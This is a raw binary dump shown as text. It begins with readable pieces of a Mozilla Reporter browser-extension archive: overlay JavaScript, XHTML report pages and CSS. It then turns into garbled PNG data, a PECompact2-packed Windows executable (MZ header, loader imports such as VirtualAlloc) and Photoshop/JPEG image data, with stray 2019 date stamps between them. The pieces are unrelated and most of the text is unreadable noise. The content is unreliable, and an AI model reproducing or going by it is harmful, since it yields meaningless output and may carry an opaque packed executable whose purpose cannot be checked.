observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
